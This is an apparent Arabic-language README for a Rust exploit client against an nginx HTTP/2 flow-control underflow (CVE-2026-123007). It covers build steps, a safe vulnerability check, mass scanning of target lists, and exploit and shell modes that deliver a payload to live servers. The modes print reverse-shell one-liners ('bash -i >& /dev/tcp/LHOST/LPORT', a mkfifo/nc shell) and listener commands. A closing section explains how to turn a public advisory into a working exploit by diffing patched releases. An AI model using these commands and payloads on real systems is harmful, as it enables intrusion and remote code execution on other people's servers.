
ملاحظة بحثية: تحويل الاستخبارات العامة إلى استغلال لصلاحيات الجذر (دراسة حالة: CVE-2026-123007)
عميل استغلال لـ CVE-2026-123007 (تجاوز سفلي صحيح في التحكم بالتدفق عبر HTTP/2 في nginx يمكن أن يؤدي إلى تنفيذ تعليمات عن بُعد RCE بصلاحيات العامل worker). ملف Rust ثنائي واحد. لا حاجة لتثبيت nginx أو بنائه أو نشره: الأداة تتواصل فقط مع هدف موجود بالفعل (خادم nginx عام، أو نسخة localhost تُعدّها بنفسك).
هل تريد فقط إثبات وجود CVE؟ اقرأ
PROOF.md. أمر واحد، ~14 MiB، بدون listener/profile/119 GiB:poc --host https://TARGET/ --safe(--proofاسم بديل).--exploit/--shellأدناه مخصصان لسلسلة RCE الكاملة.
# 1. build (once)
cargo build --release
# 2. check whether a target is vulnerable — safe, no crash, ~14 MiB
./target/release/poc --host https://target.example --safe
# 3. many targets at once (one URL per line)
./target/release/poc --targets targets.txt --safe
# or several URLs directly
./target/release/poc --hosts https://a.example --hosts https://b.example
بدون علامة وضع، الوضع الافتراضي هو --safe (رخيص وآمن).
مخرجات ناجحة:
[+] CVE-2026-123007 PROOF: VULNERABLE
target: https://target.example/ resource: /index.html
observed: server=Some("nginx/1.31.8") settings=[...] body=896 bytes
[1] queued-DATA refund : PASS (2 streams reset with FLOW_CONTROL_ERROR=3)
[2] public-byte release : PASS (10 bytes returned)
[3] underflowed WU guard : PASS (post-refund PING ACK)
[4] connection still usable: PASS
no memory corruption, no crash, no shell
VULNERABLE تعني أن خطأ المحاسبة أُثبت على ذلك الهدف. NOT PROVEN
تعني أن الهدف لم يُظهره (مُرقَّع، ليس HTTP/2، الجسم صغير جدًا، أو
مطلوب مورد مختلف). رموز الخروج: 0 قابل للاستغلال، 4 غير مُثبت.
يمكن إعطاء المسار في --host أو صراحةً باستخدام --path:
./target/release/poc --host https://target.example/landing --safe # resource /landing
./target/release/poc --host https://target.example --safe --path /large-file.bin
يتطلب --safe بروتوكول HTTPS + HTTP/2 (ALPN h2) وموردًا بحجم 521–8192 بايت يدعم Range. تُبلغ رسالة الخطأ عن حجم الموجة المحسوب عندما يكون الجسم خارج هذا النطاق.
| الوضع | ما يثبته | حركة المرور | الوقت |
|---|---|---|---|
--safe | خطأ في المحاسبة + حارس تحت التدفق، دون تلف | ~14 MiB | ثوانٍ |
--exploit | السلسلة الكاملة، إرسال الحمولة | ~119 GiB | دقائق |
--shell | السلسلة الكاملة + id/whoami/date/uname -a | ~119 GiB | دقائق |
للإجابة عن سؤال "هل الهدف معرّض للثغرة؟"، يكفي --safe. لا تُستخدم مئات الجيجابايت إلا عند تنفيذ RCE فعليًا.
--targets (قائمة الأهداف)أصل واحد لكل سطر؛ تُتجاهل الأسطر الفارغة و# التعليقات:
# example targets.txt
https://target-a.example
https://target-b.example:8443
تُتخطّى أسطر http://... (تُعلَّم SKIP) لأن --safe يتطلب TLS + ALPN h2
(الأهداف التي تدعم HTTP/1.1 فقط تُعلَّم أيضًا SKIP/NOT PROVEN). يُستخدم --targets فقط مع
--safe؛ أما للاستغلال، فشغّل هدفًا واحدًا في كل مرة باستخدام --host.
يُطبع سطر نتيجة واحد لكل هدف، يتبعه ملخص
N tested, M vulnerable.
--exploit و--shellيتطلب هذان الخياران هدفًا يطابق ملف تعريف مضمّنًا (nginx 1.31.8
Debian 13 amd64، glibc 2.41، معالج هدف يدعم avx512f + avx512vl، 4 عمّال،
/index.html بحجم 896 بايت). يتوفر أيضًا ملف تعريف 1.31.6. وبدون تطابق،
يستطيع --safe مع ذلك الإجابة عن سؤال الثغرة، لكن سلسلة RCE لن
تعمل.
اختر سير عمل واحدًا، لا كليهما (وإلا فسيتعارض المنفذ):
سير العمل A — --shell (الأبسط؛ الأداة تستمع):
./target/release/poc --host https://target --shell --lhost ATTACKER_IP --yes
# do not run nc/socat: the tool already listens on 0.0.0.0:4444
سير العمل ب — --exploit + مستمع يدوي:
# macOS / BSD:
nc -lv 4444
# Linux (nc/OpenBSD):
nc -lvnp 4444
# cross-platform alternative: socat TCP-LISTEN:4444,fork -
# dispatch the payload (prints the listener command and payload before the bulk)
./target/release/poc --host https://target.example --exploit \
--lhost 203.0.113.10 --lport 4444 --yes
--exploit لا يستمع بنفسه؛ الخروج بـ 0 يعني فقط أن الحمولة
أُرسلت (DISPATCHED (unconfirmed)). مستمعك هو الدليل.
بدلاً من ذلك، دع الأداة تستمع وتتحقق من الصدفة:
./target/release/poc --host https://target.example --shell \
--lhost 203.0.113.10 --lport 4444 --yes
# optional: --interactive to relay stdin/stdout after verification
يرسل --shell الأمر id; whoami; date; uname -a; echo __OK__ ولا يبلّغ عن
SHELL OK إلا عندما يحتوي الخرج على uid=. رموز الخروج: 0 تم التحقق من الصدفة،
1 خطأ في المرحلة، 2 قابل للاستغلال لكن السلسلة لم تكتمل، 3 تم الإرسال
دون صدفة، 4 غير مُثبت.
الحمولة الافتراضية: bash -i >& /dev/tcp/LHOST/LPORT 0>&1 (حد 120 بايت).
بدون bash، استخدم --cmd، مثل
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f.
Linux: يلزم libssl-dev + pkg-config. macOS (Homebrew):
brew install openssl@3 pkg-config
export PKG_CONFIG_PATH="$(brew --prefix openssl@3)/lib/pkgconfig"
cargo build --release
بدون PKG_CONFIG_PATH، تلتقط حزمة openssl مكتبة LibreSSL وتفشل.
الملف التنفيذي هو target/release/poc.
target does not negotiate HTTP/2 (ALPN h2) over TLS — بروتوكول HTTP/2 معطّل على
ذلك المستمع (أو أن الهدف يدعم HTTP/1.1 فقط).safe mode needs a response body of 521..8192 bytes — وجّه --path إلى
ملف ثابت أكبر.cleanup-overcredit oracle failed — الهدف مُرقَّع، أو أن
وكيلاً/CDN لا يمرّر إطارات HTTP/2 دون تغيير.in-band HTTP/2 fingerprint matches no validated profile — بناء/إصدار
مختلف؛ يبقى --safe صالحاً، بينما يحتاج --exploit إلى ملف تعريف معاير.DISPATCHED, NO SHELL — نُفِّذت الحمولة لكنها لم تتمكن من الوصول إلى --lhost
(جدار حماية/NAT)، أو أن bash غير موجود. استخدم --cmd مع أداة تحقق قابلة للملاحظة.POC_KEYUPDATES — مفتاح تصحيح يختصر رحلة الإقلاع؛ وهو
ليس جزءاً من تشغيل حقيقي.هذا القسم غير مطلوب لاختبار هدف. يبني scripts/validate-safe.sh كلاً من
nginx 1.31.8 و1.31.10 من شجرة مصدر محلية ويؤكد VULNERABLE /
NOT PROVEN — فهو يختبر الأداة، ولا يجهّز هدف استغلال. النتائج
على مضيف التطوير:
VULNERABLE (exit 0)NOT PROVEN (exit 4)تحتاج السلسلة الكاملة إلى هدف x86-64 + AVX512؛ وتُوصف الحدود في القسم التقني أدناه. تُحفظ ملاحظات التصميم وخطط التنفيذ في شجرة العمل المحلية ولا تُدفع.
هذا القسم ملاحظة منهجية: كيف تنتقل من "أُعلن عن ثغرة CVE حرجة هذا الصباح" إلى أداة فحص واستغلال عاملة، باستخدام مواد عامة فقط والبرمجية المصابة نفسها. لا يُفترض وجود أي تفاصيل خاصة بالخطأ ولا أي شيفرة استغلال جاهزة.
ابدأ بالسجلات الموثوقة، لا بمقالات المدونات:
تحتوي صياغة التنبيه بالفعل على البدائي: يمكن للعميل إلغاء بيانات الاستجابة المصطفّة، وتعيد nginx رصيد التحكم في التدفق، ويمكن أن ينتهي نافذة إرسال الاتصال أعلى من الحد الأقصى للبروتوكول. كل ما تبقى هو هندسة حول تلك الجملة. لاحظ قيدين مهمين من البداية: يجب تمكين HTTP/2، ويعتمد التأثير النهائي على تنفيذ نسخ ذاكرة أصلي — لذا سينقسم العمل إلى خطأ بروتوكول (يسهل إثباته) ومسار استغلال (خاص بالبناء).
أسرع طريقة لمعرفة التعبير الخاطئ بالضبط هي مقارنة آخر إصدار مصاب بأول إصدار مُصلح. استنسخ مستودع nginx الرسمي وقارن الوسمين:
git clone https://github.com/nginx/nginx.git
cd nginx
git fetch --depth 1 origin tag release-1.31.8 tag release-1.31.9
git diff release-1.31.8 release-1.31.9 -- src/http/v2/
ثلاثة تغييرات مهمة:
/* ngx_http_v2.h */
size_t send_window;
size_t send_queued; /* NEW: credit reserved but not yet sent */